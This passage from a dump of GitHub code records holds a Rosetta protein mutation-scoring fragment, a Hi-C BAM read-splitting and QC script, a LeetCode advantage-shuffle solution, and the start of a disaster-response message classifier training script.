store_neighbors= residue_selectors.StoreResidueSubsetMover(neighbors, subset_name= 'neighbors_stored', overwrite= True)\n    store_not_neighbor= residue_selectors.StoreResidueSubsetMover(not_neighbor, subset_name= 'not_neighbor_stored', overwrite= True)\n    store_soft_shell= residue_selectors.StoreResidueSubsetMover(soft_shell, subset_name= 'soft_shell_stored', overwrite= True)\n\n    return mutate_movers, store_neighbors, store_not_neighbor, store_soft_shell\n\n\ndef _apply_protocol(pose, res_sel, verbose):\n    mutate_movers, store_neighbors, store_not_neighbor, store_soft_shell= res_sel\n\n    store_neighbors.apply(pose)\n    store_not_neighbor.apply(pose)\n    store_soft_shell.apply(pose)\n\n    if verbose:\n        display_pose.tasks(tf)\n        display_pose.movemap_factory(mmf)\n        display_pose.apply(pose)\n\n    wt_pose= pose.clone()\n    add_constraints.apply(wt_pose)\n    packer.apply(wt_pose)\n    min_mover.apply(wt_pose)\n    sfxn(wt_pose) # rescore the pose to remove the constraint terms from the scores\n\n    mut_pose= pose.clone()\n    for mover in mutate_movers: mover.apply(mut_pose)\n    add_constraints.apply(mut_pose)\n    packer.apply(mut_pose)\n    min_mover.apply(mut_pose)\n    sfxn(mut_pose)\n\n    wt_REU= list(wt_pose.scores.values())\n    mut_REU= list(mut_pose.scores.values())\n\n    score_keys= list(wt_pose.scores.keys())\n\n    return wt_REU, mut_REU, score_keys\n\n\ndef _apply_protocol_mp(queue, pose, pose_ind, res_sel, verbose):\n    wt_REU, mut_REU, score_keys= _apply_protocol(pose, res_sel, verbose)\n    queue.put((pose_ind, wt_REU, mut_REU, score_keys))\n\n\ndef mutate_and_score(mutant, poses, nproc= 1, verbose= False):\n    res_sel= _gen_res_sel(mutant)\n    \n    output= []\n\n    assert isinstance(nproc, int) and nproc > 0, 'Parameter np must be a positve integer!'\n    if nproc == 1:\n        for pose in poses:\n            wt_REU, mut_REU, score_keys= _apply_protocol(pose, res_sel, verbose)\n            output.append(mut_REU)\n            output.append(wt_REU)\n\n    else:\n        num_poses= len(poses)\n        num_loops= int(np.ceil(num_poses/nproc))\n        pose_ind_list= list(range(num_poses))\n        pose_ind_partition= []\n        for loop in range(num_loops):\n            ind_lower= nproc*loop\n            ind_upper= min(num_poses, nproc*(loop + 1))\n            pose_ind_subset= pose_ind_list[ind_lower:ind_upper]\n            pose_ind_partition.append(pose_ind_subset)\n\n        result_wt_REU_list= []\n        result_mut_REU_list= []\n        result_ind_list= []\n\n        for pose_ind_subset in pose_ind_partition:\n            jobs= []\n            result_queue= multiprocessing.Queue()\n\n            for pose_ind in pose_ind_subset:\n                proc= multiprocessing.Process(target= _apply_protocol_mp, args= (result_queue, poses[pose_ind], pose_ind, res_sel, verbose))\n                jobs.append(proc)\n                proc.start()\n            \n            for proc in jobs:\n                pose_ind, wt_REU, mut_REU, score_keys= result_queue.get()\n                result_mut_REU_list.append(mut_REU)\n                result_wt_REU_list.append(wt_REU)\n                result_ind_list.append(pose_ind)\n\n            for proc in jobs:\n                proc.join()\n    \n        result_wt_REU_list_sorted= sorted(zip(result_ind_list, result_wt_REU_list))\n        result_mut_REU_list_sorted= sorted(zip(result_ind_list, result_mut_REU_list))\n\n        for pose_ind in range(num_poses):\n            output.append(result_mut_REU_list_sorted[pose_ind][1])\n            output.append(result_wt_REU_list_sorted[pose_ind][1])\n\n\n    mut_name= ''.join([f'{point_mutation[0]}{point_mutation[1]}' for point_mutation in mutant])\n    row_index= pd.MultiIndex.from_product([[mut_name], range(len(poses)), ['MUT', 'WT']], names= ['Mutations', 'Frame', 'Structure'])\n    col_index= pd.Index(score_keys, name= 'Score terms')\n\n    output_df= pd.DataFrame(output, index= row_index, columns= col_index)\n\n    return output_df\n\n\ndef res_e_plot(dREUs_df):\n    idx= pd.IndexSlice\n    mutant_name= dREUs_df.index[0][0]\n    score_terms= dREUs_df.columns\n    fig= make_subplots(rows= 4, cols= 5, shared_xaxes= 'all', vertical_spacing= 0.05, subplot_titles= score_terms)\n    for e_term_ind, e_term in enumerate(score_terms):\n        dREU= dREUs_df.loc[idx[:, :, 'MUT'], e_term].values - dREUs_df.loc[idx[:, :, 'WT'], e_term].values\n        fig.add_trace(go.Scatter(y= dREU, mode= 'lines', line= dict(color= plotly.colors.qualitative.Plotly[0], width= 2)), row= int(e_term_ind/5) + 1, col= e_term_ind%5 + 1)\n    fig.update_xaxes(range= [-1, 30])\n    fig.update_yaxes(title_standoff= 0)\n    fig.update_layout(margin= dict(l= 10, r= 10, t= 80, b= 10), width= 150*5, height= 150*4 + 80, font_family= 'Arial', font_size= 12, showlegend= False, title_text= mutant_name)\n    \n    return fig\n","repo_name":"luhong88/sim_tools","sub_path":"sim_tools/rosetta_pack_min.py","file_name":"rosetta_pack_min.py","file_ext":"py","file_size_in_byte":9401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36112466160","text":"#!/usr/bin/env python\n\n\"\"\"\nsplit bam file into .shrt.bam and .long.bam\nCreated by Rongxin Fang\nModified by Armen Abnousi\n\"\"\"\nimport sys\nimport pysam \nimport collections\nfrom itertools import islice\nfrom itertools import combinations\nimport pybedtools\nimport time\nimport os\nimport subprocess\nimport glob\nimport logger\n\ndef split_main(input_bam, outdir, prefix, cutoff, per_chr, generate_hic, chip_peaks):\n\t#sys.stdout = logger.Logger(outdir + \"/\" + prefix + \".feather.log\")\n\tprint(time.ctime() + \" starting the splitting operation\")\n\tflagstat_filename = glob.glob(outdir + \"/*.rmdup.flagstat\")\n\tif chip_peaks:\n\t\tchip_peaks = glob.glob(chip_peaks)\n\telse:\n\t\tchip_peaks = \"\"\n\tif len(flagstat_filename) > 0 and len(chip_peaks) > 0:\n\t\tflagstat_filename = flagstat_filename[0]\n\t\tchip_peaks = chip_peaks[0]\n\t\tprint(time.ctime() + \" QC metrics will be computed from: \" + chip_peaks + \" and \" + flagstat_filename)\n\telif len(flagstat_filename) > 0:\n\t\tchip_peaks = False\n\t\tflagstat_filename = flagstat_filename[0]\n\t\tprint(time.ctime() + \" WARNING: no ChIP peaks file found to compute the on-chip ratio\")\n\t\tprint(time.ctime() + \" QC metrics will be computed from: \" + flagstat_filename)\n\telif len(chip_peaks) > 0:\n\t\tif len(flagstat_filename) == 0:\n\t\t\tflagstat_filename = input_bam + \".rmdup.flagstat\"\n\t\t\tprint(time.ctime() + \" calling samtools flagstat on provided bam file\")\n\t\t\tproc = subprocess.Popen(\"samtools flagstat \" + input_bam + \" > \" + flagstat_filename, shell = True)\n\t\t\tproc.communicate()\n\t\tchip_peaks = chip_peaks[0]\n\t\tprint(time.ctime() + \" QC metric (on-chip ratio) will be computed from: \" + chip_peaks + \" and \" + flagstat_filename)\n\tsamfile = pysam.AlignmentFile(input_bam, \"rb\")\n\tfilename_prefix = outdir + \"/\" + prefix\n\ttemp_filename_prefix = outdir + \"/tempfiles/\" + prefix\n\tchr_list = extract_chr_list(samfile.header)\n\tchrname_lengths = list(map(len, chr_list))\n\trename_chrs = True if (min(chrname_lengths) == 1) else False\n\tif rename_chrs:\n\t\tchr_list =[\"chr\" + chrom for chrom in chr_list]\n\t\ts2 = pysam.AlignmentFile(temp_filename_prefix + \"_sam_header\", \"wb\", reference_names = chr_list, reference_lengths = samfile.header.lengths)\n\t\tnew_header = s2.header\n\telse:\n\t\tnew_header = samfile.header\n\tautosomal_chrs = [chr_name for chr_name in chr_list if ((chr_name.find('_') == -1 and chr_name.find('.') == -1 and chr_name[3].isdigit()) or chr_name == \"chrX\" or chr_name == \"chrY\")]\n\tpotential_chrs = ['chr' + str(x) for x in list(range(1,23)) + ['X', 'Y']]\n\tautosomal_chrs = [x for x in autosomal_chrs if x in potential_chrs]\n\tchr_list = autosomal_chrs\n\tif not is_sorted_queryname(samfile.header):\n\t\tsys.exit(\"Error: bam needs to be sorted by read name\")\n\tfilename_prefix = outdir + \"/\" + prefix\n\ttemp_filename_prefix = outdir + \"/tempfiles/\" + prefix\n\tfname_output_shrt = temp_filename_prefix + \".shrt.bam\"\n\t#fname_output_shrt_genomewide =  temp_filename_prefix + \".shrt.genomewide.bam\"\n\tif (per_chr):\n\t\tshort_bed_files, long_intra_bam_files, long_intra_bam_filenames, long_intra_bedpe_files = generate_per_chrom_files(chr_list, \n\t\t\t\t\t\t\t\t\tfilename_prefix, temp_filename_prefix, new_header)\n\tfname_output_long_intra = temp_filename_prefix + \".long.intra.bam\"\n\tfout_long_intra = pysam.AlignmentFile(fname_output_long_intra, \"wb\", header = new_header)\n\tfname_long_intra_bedpe = filename_prefix + \".long.intra.bedpe\"\n\tfname_output_long_inter = temp_filename_prefix + \".long.inter.bam\"\n\tfname_output_shrt_inter = temp_filename_prefix + \".shrt.inter.bam\"\n\tfname_shrt_bed = filename_prefix + \".shrt.vip.bed\"\n\tfout_long_inter = pysam.AlignmentFile(fname_output_long_inter, \"wb\", header = new_header)\n\tfout_shrt_inter = pysam.AlignmentFile(fname_output_shrt_inter, \"wb\", header = new_header)\n\tfout_shrt = pysam.AlignmentFile(fname_output_shrt, \"wb\", header = new_header)\n\tfout_shrt_bed = open(fname_shrt_bed, \"w\")\n\thic_chr_list = autosomal_chrs\n\tif (generate_hic):\n\t\thic_tsv_files = open_hic_files(hic_chr_list, outdir, prefix)\n\tread_num = 0\n\tprev = pysam.AlignedSegment()\n\tprev.query_name = \"\"\n\tshrt_count = 0\n\tshort_inter_count = 0\n\tshrt_vip_count = 0\n\tlong_intra_count = 0\n\tlong_inter_count = 0\n\tlong_autosomal_intra_count = 0\n\tlong_filtered_count = 0\n\tshort_autosomal_count = 0\n\tshort_auto_vip_count = 0\n\tshort_autosomal_inter_count = 0\n\tfor read in samfile:\n\t\tif rename_chrs:\n\t\t\tread = rename_read_chromosomes(read, new_header)\n\t\t\t#autosomal_chrs = [\"chr\" + chrom for chrom in autosomal_chrs]\n\t\t\t#print(autosomal_chrs)\n\t\tif read_num % 2 == 1:\n\t\t\tif read.query_name != prev.query_name:\n\t\t\t\texit(\"unmatched query\" + read.query_name)\n\t\tpos1 = prev.reference_end if prev.is_reverse else prev.reference_start\n\t\tpos2 = read.reference_end if read.is_reverse else read.reference_start\n\n\t\tis_intra, is_short, is_vip, is_auto = classify_reads(read, prev, autosomal_chrs, cutoff)\n\t\tif is_intra and is_auto and (not is_short): #intra-chromosomal long autosomal\n\t\t\tlong_autosomal_intra_count += 1\n\t\t\tif (per_chr):\n\t\t\t\tlong_intra_bam_files[read.reference_name].write(read)\n\t\t\tif (abs(read.template_length) <= 1000000):\n\t\t\t\tlong_filtered_count += 1\n\t\t\tfout_long_intra.write(read)\n\t\t\tlong_intra_count += 1\n\t\tif (not is_intra): #inter-chromosomal autosomal reads\n\t\t\tlong_inter_count += 1\n\t\t\tif is_auto:\n\t\t\t\tfout_long_inter.write(read)\n\t\tif (is_short and is_intra): #short reads\n\t\t\tif is_auto: # write to bam file\n\t\t\t\tfout_shrt.write(read)\n\t\t\t\tshrt_count += 1\n\t\t\tif is_vip and is_auto and pos1 != pos2: #short vip reads\n\t\t\t\tif read_num % 2 == 1:\n\t\t\t\t\tchrom = prev.reference_name\n\t\t\t\t\tfout_shrt_bed.write(\"\\t\".join([chrom] + list(map(str, sorted([pos1, pos2]))) + [prev.query_name, \"\\n\"]))\n\t\t\t\t\tshrt_vip_count += 1\n\t\t\t\t\tif (per_chr):\n\t\t\t\t\t\tshort_bed_files[chrom].write(\"\\t\".join([chrom] + list(map(str, sorted([pos1, pos2]))) + [prev.query_name, \"\\n\"]))\n\t\tif read_num % 2 == 1:\n\t\t\tif (generate_hic):\n\t\t\t\tif read.reference_start > prev.reference_start:\n\t\t\t\t\tr1 = prev\n\t\t\t\t\tr2 = read\n\t\t\t\telse:\n\t\t\t\t\tr2 = prev\n\t\t\t\t\tr1 = read\n\t\t\t\tchr1 = r1.reference_name\n\t\t\t\tchr2 = r2.reference_name\n\t\t\t\tif (r1.is_reverse and r2.is_reverse):\n\t\t\t\t\tstrand1 = 16\n\t\t\t\t\tstrand2 = 16\n\t\t\t\telif (r1.is_reverse and r2.is_reverse == False):\n\t\t\t\t\tstrand1 = 16\n\t\t\t\t\tstrand2 = 0\n\t\t\t\telif (r1.is_reverse == False and r2.is_reverse):\n\t\t\t\t\tstrand1 = 0\n\t\t\t\t\tstrand2 = 16\n\t\t\t\telse:\n\t\t\t\t\tstrand1 = 0\n\t\t\t\t\tstrand2 = 0\n\t\t\t\tif (chr1 in hic_chr_list) and (chr2 in hic_chr_list):\n\t\t\t\t\thic_tsv_files[tuple(sorted([chr1, chr2]))].write(\"\\t\".join([r1.query_name, str(strand1), chr1, str(r1.reference_start), \"0\", str(strand2), chr2, str(r2.reference_start), \"1\", \"60\", \"60\\n\"]))\n\t\tread_num += 1\n\t\tprev = read\n\tfout_shrt_bed.close()\n\tsamfile.close()\n\tfout_long_inter.close()\n\tfout_shrt_inter.close()\n\tfout_shrt.close()\n\tif (per_chr):\n\t\tclose_files(short_bed_files)\n\t\tclose_files(long_intra_bam_files)\n\tif (generate_hic):\n\t\tclose_files(hic_tsv_files)\n\t\thic_output =  outdir + \"/\" + prefix + \".hic.input\"\n\t\ttemp_files = glob.glob( outdir + \"/tempfiles/hic_tempfiles/\" + prefix + \".hic.*\")\n\t\tcommand = [\"cat\"]\n\t\tcommand.extend(temp_files)\n\t\t#print(command)\n\t\twith open(hic_output, 'w') as outfile:\n\t\t\t\n\t\t\tproc = subprocess.Popen(command, stdout = outfile, shell= False)\n\t\t\tproc.communicate()\n#\t\tfor chrom in chr_list:\n#\t\t\tshort_bed_files[chrom].close()\n#\t\t\tlong_intra_bam_files[chrom].close()\n\tfout_long_intra.close()\n\tprint(time.ctime() + \" generating long, intra-chromosomal bedpe file(s)\")\n\tif (per_chr):\n\t\tfor chrom in chr_list:\n\t\t\tsam = pysam.AlignmentFile(long_intra_bam_filenames[chrom])\n\t\t\tif (any(True for _ in sam)):\n\t\t\t\tlong_bam = pybedtools.BedTool(long_intra_bam_filenames[chrom])\n\t\t\t\tlong_bedpe = long_bam.bam_to_bed(bedpe = True, stream = True)\n\t\t\t\tlong_bedpe.saveas(long_intra_bedpe_files[chrom])\n\t\t\telse:\n\t\t\t\tprint(\"\\tno bedpe generated for\" + chrom +\". Empty bam file.\")\n\tprint(time.ctime() + \" writing to the combined bedpe file\")\n\tlong_bam = pybedtools.BedTool(fname_output_long_intra)\n\tlong_bedpe = long_bam.bam_to_bed(bedpe = True, stream = True)\n\tlong_bedpe.saveas(fname_long_intra_bedpe)\n\tqc_filename = outdir + \"/\" + prefix + \".feather.qc\"\n\tread_count = read_num / 2\n\tlong_intra_count /= 2\n\tshrt_count /= 2\n\tshort_autosomal_count /= 2\n\tlong_autosomal_intra_count /= 2\n\tshort_autosomal_inter_count /= 2\n\tlong_filtered_count /= 2\n\tshort_inter_count /= 2\n\tlong_inter_count /= 2\n\t#inter_all_count = short_inter_count + long_inter_count\n\tintra_all_count = shrt_count + long_intra_count\n\tif (flagstat_filename):\n\t\twith open(flagstat_filename) as flag_file:\n\t\t\tlines = flag_file.readlines()\n\t\t\tduprmd_count = int(lines[7].split()[0])\n\t\t\ttrans_ratio = long_inter_count / duprmd_count\n\t\t\tlong_cis_ratio = long_intra_count / intra_all_count\n\telse:\n\t\ttrans_ratio, long_cis_ratio = -1, -1\n\tif (chip_peaks):\n\t\tcommand = \"cut -f1-3 \" + fname_shrt_bed + \" > \" + outdir + \"/tempfiles/shrt_vip_bed.cut\"\n\t\tproc = subprocess.Popen(command, stdout = subprocess.PIPE, shell= True)\n\t\tproc.communicate()\n\t\tcommand = \"cut -f1-3 \" + chip_peaks + \" > \" + outdir + \"/tempfiles/chip_peaks.cut\"\n\t\tproc = subprocess.Popen(command, stdout = subprocess.PIPE, shell= True)\n\t\tproc.communicate()\n\t\tcommand = \"bedtools intersect -a \" + outdir + \"/tempfiles/shrt_vip_bed.cut\" + \" -b \" + outdir + \"/tempfiles/chip_peaks.cut\" + \" -u | wc -l\"\n\t\tproc = subprocess.Popen(command, stdout = subprocess.PIPE, shell= True)\n\t\ton_chip = int(proc.stdout.read().decode(\"utf-8\"))\n\t\tcommand = \"wc -l \" + outdir + \"/tempfiles/shrt_vip_bed.cut\"\n\t\tproc = subprocess.Popen(command, shell = True, stdout = subprocess.PIPE)\n\t\tchip_count = int(proc.stdout.read().decode(\"utf-8\").split()[0])\n\t\ton_chip_ratio = float(on_chip) / chip_count\n\telse:\n\t\ton_chip_ratio = -1\n\twith open(qc_filename, 'a') as outfile:\n\t\toutfile.write(\"{0:70} {1} \".format(\"number of intrachromosomal pairs\", str(int(intra_all_count))))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(intra_all_count)) / int(float(read_count))))\n\t\toutfile.write(\"{0:70} {1} \".format(\"number of short-range intrachromosomal pairs\", str(int(shrt_count))))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(shrt_count)) / int(float(read_count))))\n\t\t#outfile.write(\"{0:70} {1} \".format(\"number of short-range intrachromosomal autosomal pairs\", str(int(short_autosomal_count))))\n\t\t#outfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(short_autosomal_count)) / int(float(read_count))))\n\t\toutfile.write(\"{0:70} {1} \".format(\"number of short-range vip pairs\", str(int(shrt_vip_count))))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(shrt_vip_count)) / int(float(read_count))))\n\t\toutfile.write(\"{0:70} {1} \".format(\"number of long-range intrachromosomal pairs\", str(int(long_intra_count))))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(long_intra_count)) / int(float(read_count))))\n\t\toutfile.write(\"{0:70} {1} \".format(\"number of interchromosomal pairs\", str(int(long_inter_count))))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(long_inter_count)) / int(float(read_count))))\n\t\t#outfile.write(\"{0:70} {1} \".format(\"number of long-range autosomal intra-chromosomal pairs\", str(int(long_autosomal_intra_count))))\n\t\t#outfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(long_autosomal_intra_count)) / int(float(read_count))))\n\t\t#outfile.write(\"{0:70} {1} \".format(\"number of long-range autosomal intra 1k-1M pairs\", str(int(long_filtered_count))))\n\t\t#outfile.write(\"\\t({0:.2f}%)\\n\".format(100 * int(float(long_filtered_count)) / int(float(read_count))))\n\t\toutfile.write(\"{0:70}\".format(\"trans read ratio\") + \"{0:.5f} \".format(trans_ratio))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * trans_ratio))\n\t\toutfile.write(\"{0:70}\".format(\"long cis read ratio\") + \"{0:.5f} \".format(long_cis_ratio))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * long_cis_ratio))\n\t\toutfile.write(\"{0:70}\".format(\"FRiP\") + \"{0:.5f} \".format(on_chip_ratio))\n\t\toutfile.write(\"\\t({0:.2f}%)\\n\".format(100 * on_chip_ratio))\n\tprint(time.ctime() + \" splitting completed\")\n\n\ndef classify_reads(read1, read2, autosomal_chrs, cutoff):\n\tis_intra, is_short, is_vip, is_auto = [False] * 4\n\tif (read1.reference_name in autosomal_chrs) and (read1.next_reference_name in autosomal_chrs):\n\t\tis_auto = True\n\tif ((abs(read1.template_length) <= cutoff) and (abs(read1.template_length) >= 0)):\n\t\tis_short = True\n\tif (read1.next_reference_name == read1.reference_name):\n\t\tis_intra = True\n\tif ((read2.is_reverse == False and read1.is_reverse == True) or (read2.is_reverse == True and read1.is_reverse == False)):\n\t\tis_vip = True\n\treturn is_intra, is_short, is_vip, is_auto\n\ndef close_files(files_dict):\n\tfor filename in files_dict.values():\n\t\tfilename.close()\n\ndef open_hic_files(chr_list, outdir, prefix):\n\tfiles_dir =  outdir + \"/tempfiles/hic_tempfiles\"\n\tif not os.path.exists(files_dir):\n\t\tos.mkdir(files_dir, 0o777)\n\tfile_prefix = files_dir + \"/\" + prefix + \".hic.\"\n\tfiles_dict = {}\n\tfor i, j in combinations(chr_list, 2):\n\t\ti, j = sorted([i, j])\n\t\tfout1 = open(file_prefix + i + \".\" + j, 'w')\n\t\tfiles_dict[(i, j)] = fout1\n\tfor i in chr_list:\n\t\tfout = open(file_prefix + i + \".\" + i, 'w')\n\t\tfiles_dict[(i, i)] = fout\n\treturn files_dict\n\ndef generate_per_chrom_files(chr_list, filename_prefix, temp_filename_prefix, header):\n\tbam_files = {}\n\tbam_filenames = {}\n\tbedpe_files = {}\n\tshort_bed_files = {}\n\tfor chrom in chr_list:\n\t\tfname_output_long_intra = temp_filename_prefix + \".\" + chrom + \".long.intra.bam\"\n\t\tfname_output_short_bed = filename_prefix + \".\" + chrom + \".shrt.vip.bed\"\n\t\tfout_short_bed = open(fname_output_short_bed, \"w\")\n\t\tfout_bam = pysam.AlignmentFile(fname_output_long_intra, \"wb\", header = header)\n\t\tfname_bedpe = filename_prefix + \".\" + chrom + \".long.intra.bedpe\"\n\t\tshort_bed_files[chrom] = fout_short_bed\n\t\tbam_filenames[chrom] = fname_output_long_intra\n\t\tbam_files[chrom] = fout_bam\n\t\tbedpe_files[chrom] = fname_bedpe\n\treturn (short_bed_files, bam_files, bam_filenames, bedpe_files)\n\ndef is_sorted_queryname(header):\n\t\"\"\"\n\tCheck if bam fiel is sorted by read name.\n\t\"\"\"\n\tif(\"HD\" in header):\n\t\tif(\"SO\" in header[\"HD\"]):\n\t\t\tif(header[\"HD\"][\"SO\"] == \"queryname\"):\n\t\t\t\treturn True\n\treturn False\n\ndef extract_chr_list(header):\n\tchrs = []\n\tfor chr_line in header[\"SQ\"]:\n\t\tif \"SN\" in chr_line:\n\t\t\tchrs.append(chr_line[\"SN\"])\n\treturn(chrs)\n\ndef rename_read_chromosomes(read, header):\n\tr = pysam.AlignedSegment(header)\n\tr.reference_name = \"chr\" + read.reference_name\n\tr.next_reference_name = \"chr\" + read.next_reference_name\n\tr.tags = read.tags\n\tr.bin, r.cigar, r.cigarstring, r.cigartuples, r.flag, r.is_duplicate, r.is_paired, r.is_proper_pair, r.is_qcfail, r.is_read1, r.is_read2, r.is_reverse, r.is_secondary, r.is_supplementary, r.is_unmapped, r.isize, r.mapping_quality, r.mapq, r.mate_is_reverse, r.mate_is_unmapped, r.mpos, r.mrnm, r.next_reference_id, r.next_reference_start, r.pnext, r.pos = read.bin, read.cigar, read.cigarstring, read.cigartuples, read.flag, read.is_duplicate, read.is_paired, read.is_proper_pair, read.is_qcfail, read.is_read1, read.is_read2, read.is_reverse, read.is_secondary, read.is_supplementary, read.is_unmapped, read.isize, read.mapping_quality, read.mapq, read.mate_is_reverse, read.mate_is_unmapped, read.mpos, read.mrnm, read.next_reference_id, read.next_reference_start, read.pnext, read.pos\n\tr.qname, r.query_name, r.query_sequence, r.reference_id, r.reference_start = read.qname, read.query_name, read.query_sequence, read.reference_id, read.reference_start\n\tr.rname, r.rnext, r.seq, r.tags, r.template_length, r.tid, r.tlen =  read.rname, read.rnext, read.seq, read.tags, read.template_length, read.tid, read.tlen\n\tr.query_qualities = read.query_qualities\n\treturn(r)\n\nif __name__ == \"__main__\":\n\tinput_bam, outdir, prefix, cutoff, per_chr, generate_hic, chip_peaks = sys.argv[1:len(sys.argv)]\n\tsplit_main(input_bam, outdir, prefix, int(float(cutoff)), per_chr, generate_hic, chip_peaks)\n","repo_name":"ijuric/MAPS","sub_path":"bin/feather/feather_split_rongxin.py","file_name":"feather_split_rongxin.py","file_ext":"py","file_size_in_byte":15692,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"37668784321","text":"\"\"\"\nhttps://leetcode.com/problems/advantage-shuffle/\n\nExplanation\nSort A\nFor every element b in B from big to small,\nif A[-1] > b,\nthen this b will take the biggest element in A by A.pop().\notherwise take the smallest in A by A.popleft()\n\n\nComplexity\nTime O(nlogn)\nSpace O(n)\n\n\"\"\"\nfrom typing import List\nfrom collections import deque\n\nclass Solution:\n    def advantageCount(self, A, B):\n        A = deque(sorted(A))\n        for b, i in sorted([-b, i] for i, b in enumerate(B)):\n            B[i] = A.pop() if -b < A[-1] else A.popleft()\n        return B\n\n\ns = Solution()\nprint(s.advantageCount([2,7,11,15], [1,10,4,11]))\n","repo_name":"arnabbiswas1510/LeetcodePractice","sub_path":"10-2021/11/Medium-870.py","file_name":"Medium-870.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9878375660","text":"import sys\n\n# import libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport re\nimport pickle\nfrom sqlalchemy import create_engine\nimport nltk\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score, mean_squared_error\n\nfrom sklearn.datasets import make_multilabel_classification\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.metrics import classification_report\n\nfrom sklearn.model_selection import GridSearchCV\n\nnltk.download(['punkt', 'wordnet'])\n\n\ndef load_data(database_filepath):\n    '''\n    Load data from SQL database, then separate to dependent (Y) and\n    independent (X) variable sets. Outputs X and Y datasets and list of\n    variables of Y\n\n    Parameter:\n        database_filepath (str): filepath of db file\n\n    Returns:\n        X (pandas dataframe): the messages to be processed into dependant\n            variable for machine learning purpose\n        Y (pandas dataframe): flags for categories of the messages\n        Y.columns (list): list of Y variables\n    '''\n    engine = create_engine('sqlite:///' + database_filepath)\n    df = pd.read_sql_table('disaster_response', engine)\n    X = df['message']\n    Y = df.iloc[:, -36:]\n\n    return X, Y, Y.columns\n\n\ndef tokenize(text):\n    '''\n    Text tokenizing function for messages. Replaces URLs with placeholder,\n    remove punctuations, then tokenize, lemmatize, lowercase and strip\n    whitespaces from the words. Output cleaned tokens for machine learning\n\n    Parameter:\n        text (str): string of single text message in English\n\n    Output:\n        clean_tokens (list): list of tokenized words\n    '''\n    url_regex = ('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|'\n                 '[!*[(][)],]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')\n\n    # Find URLs in text\n    detected_urls = re.findall(url_regex, text)\n\n    # Replace URLs with placeholder\n    for url in detected_urls:\n        text = text.replace(url, \"urlplaceholder\")\n\n    # Remove punctuations\n    text = re.sub(r\"\"\"[,.;@#?!&$]+\\ *\"\"\", \" \", text, flags=re.VERBOSE)\n\n    # Tokenise words\n    tokens = word_tokenize(text)\n    # Initiate lemmatizer\n    lemmatizer = WordNetLemmatizer()\n\n    clean_tokens = []\n\n    # Lemmatize words, turn to lowercase and strip whitespaces\n    for tok in tokens:\n        clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n        # Append to list\n        clean_tokens.append(clean_tok)\n\n    return clean_tokens\n\n\ndef build_model(optimal_parameters=None):\n    '''\n    Build and output pipeline including vectorizer, TF-IDF transformer and\n    random forest classifier with multi-output classifier\n\n    Parameter:\n        optimal_parameters (dict): dictionary of optimal parameters obtained\n            from grid search\n\n    Output:\n        pipeline (sklearn Pipeline): Model pipeline for multi-output\n            classification\n    '''\n    # If no parameters provided, use default parameters\n    if optimal_parameters is None:\n        ngram_range = (1, 1)\n        max_features = None\n        use_idf = True\n    else:\n        ngram_range = optimal_parameters['vect__ngram_range']\n        max_features = optimal_parameters['vect__max_features']\n        use_idf = optimal_parameters['tfidf__use_idf']\n\n    # Build pipeline including vectorizer, TF-IDF transformer and\n    # random forest classifier with multi-output classifier for\n    # predicting multiple target variables\n    pipeline = Pipeline([\n        ('vect', CountVectorizer(tokenizer=tokenize, ngram_range=ngram_range,\n                                 max_features=max_features)),\n        ('tfidf', TfidfTransformer(use_idf=use_idf)),\n        ('clf', MultiOutputClassifier(RandomForestClassifier()))\n    ])\n\n    return pipeline\n\n\ndef build_gridsearch_model(pipeline):\n    '''\n    Take classifier pipeline and build grid search model\n\n    Parameter:\n        pipeline (sklearn Pipeline): Model pipeline for multi-output\n            classification\n\n    Output:\n        cv (sklearn Pipeline): Pipeline with grid search\n    '''\n    # Parameters for grid search\n    parameters = {\n        'vect__ngram_range': ((1, 1), (1, 2)),\n        'vect__max_features': (None, 10000),\n        'tfidf__use_idf': (True, False)\n    }\n\n    # Build optimizing model with grid search\n    cv = GridSearchCV(pipeline, param_grid=parameters, n_jobs=6, verbose=10)\n\n    return cv\n\n\ndef evaluate_model(model, X_test, Y_test, category_names):\n    '''\n    Evaluate multi-output model and print classification report for each Y\n    output including precision, recall, and F1 scores\n\n    Parameters:\n        model (sklearn Pipeline): pipeline including vectorizer, transformer,\n            and multi-output classifier\n        X_test (pandas DataFrame): input variables for model\n        Y_test (pandas DataFrame): actual output variables for model evaluation\n        category_names (list): list of output categories\n\n    Output:\n        None\n    '''\n    # Use model to predict Y based on X_test\n    predicted = model.predict(X_test)\n    predicted_df = pd.DataFrame(predicted, columns=Y_test.columns)\n\n    # Evaluate model on Y_test over each category\n    for category in category_names:\n        print('Category:', category)\n        print(classification_report(Y_test[category], predicted_df[category]))\n\n\ndef save_model(model, model_filepath):\n    '''\n    Save model as a pickle file\n\n    Parameters:\n        model (sklearn Pipeline): model to be saved\n        model_filepath (str): filepath for saving (including file extension)\n\n    Output:\n        None\n    '''\n    with open(model_filepath, 'wb') as file:\n        pickle.dump(model, file)\n\n\ndef main():\n    if len(sys.argv) == 3:\n        database_filepath, model_filepath = 